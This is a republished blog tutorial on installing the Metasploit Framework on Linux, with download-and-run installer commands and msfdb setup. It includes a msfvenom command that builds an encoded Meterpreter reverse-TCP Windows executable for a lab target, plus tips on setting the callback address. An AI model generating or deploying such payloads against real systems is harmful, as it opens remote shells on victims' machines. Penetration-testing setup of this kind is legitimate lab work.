Detailed explanation of the process of installing msf on Linux system

Detailed explanation of the process of installing msf on Linux system

Or write down the installation process yourself!

My server system is Aliyun linux

1. Download and install
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

Possible error: Couldn't open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit

It's because of the problem of installing the library!
Solution:
yum install -y epel-release
Then repeat the above command!

2. Add a new user and run msf
adduser msf #Add msf user
su msf #Switch to msf user
cd /opt/metasploit-framework/bin #Switch to the directory where msf is located
./msfconsole
#Start msfconsole in the future, switch to msf user to start, so that the database will be synchronized.
If you start it as root user, the database will not be synchronized!
(The startup index is already configured by default!)
Just start msfconsole!

#Related commands [msf@xxxx root]$ msf
msfbinscan msfconsole msfd msfdb  
msfelfscan msfmachscan msfpescan msfrop  
msfrpc msfrpcd msfupdate msfvenom

# Database initialization [msf@xxxx root]$ msfdb
Commands:
 init initializes the component
 reinit delete and reinitialize the component
 delete delete and stop the component
 status check component status
 start start the component
 stop stop the component
 restart restart the component
#test:
For example, my virtual host is Win2003 (target machine)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp 
LHOST=msf_ip 
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

Note: If it is an elastic cloud server IP, LHOST should be set to the IP allocated by the intranet, and the public IP cannot be set [I was troubled by this pit for a long time! ! ! Vomiting blood! ! ! ]

insert image description here

ps: Install msf framework under Linux system

Order:

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run
chmod 755 metasploit-latest-linux-installer.run
./metasploit-latest-linux-installer.run

Just wait for the run to finish. Just press Enter and Y at the key points.

Summarize

This is the end of this article about the detailed process of installing msf on Linux system. For more relevant content about installing msf on Linux system, please search the previous articles of 123WORDPRESS.COM or continue to browse the related articles below. I hope everyone will support 123WORDPRESS.COM in the future!

You may also be interested in:
  • Detailed explanation of php-msf source code
  • Instructions for using the system stored procedures sp_MSforeachtable and sp_MSforeachdb

<<:  Self-study of MySql built-in functions knowledge points summary

>>:  Tutorial on installing mysql8 on linux centos7

Recommend

Javascript tree menu (11 items)

1. dhtmlxTree dHTMLxTree is a feature-rich Tree M...

Briefly talk about mysql left join inner join

Preface I have been busy developing a cold chain ...

Detailed discussion of MySQL stored procedures and stored functions

1 Stored Procedure 1.1 What is a stored procedure...

Introduction to fork in multithreading under Linux

Table of contents Question: Case (1) fork before ...

What are the benefits of using // instead of http:// (adaptive https)

//Default protocol /The use of the default protoc...

How to safely shut down MySQL

When shutting down the MySQL server, various prob...

Detailed tutorial on installing MySQL 8.0.19 in zip version on win10

Table of contents 1. After downloading, unzip it ...

Several implementation methods of the tab bar (recommended)

Tabs: Category + Description Tag bar: Category =&...

Detailed explanation of character sets and validation rules in MySQL

1Several common character sets In MySQL, the most...

Implementation of multi-environment configuration (.env) of vue project

Table of contents What is multi-environment confi...

Font Treasure House 50 exquisite free English font resources Part 2

Designers have their own font library, which allo...

Let's talk about the storage engine in MySQL

Basics In a relational database, each data table ...

Detailed explanation of the minimum width value of inline-block in CSS

Preface Recently, I have been taking some time in...

Will the deprecated Docker be replaced by Podman?

The Kubernetes team recently announced that it wi...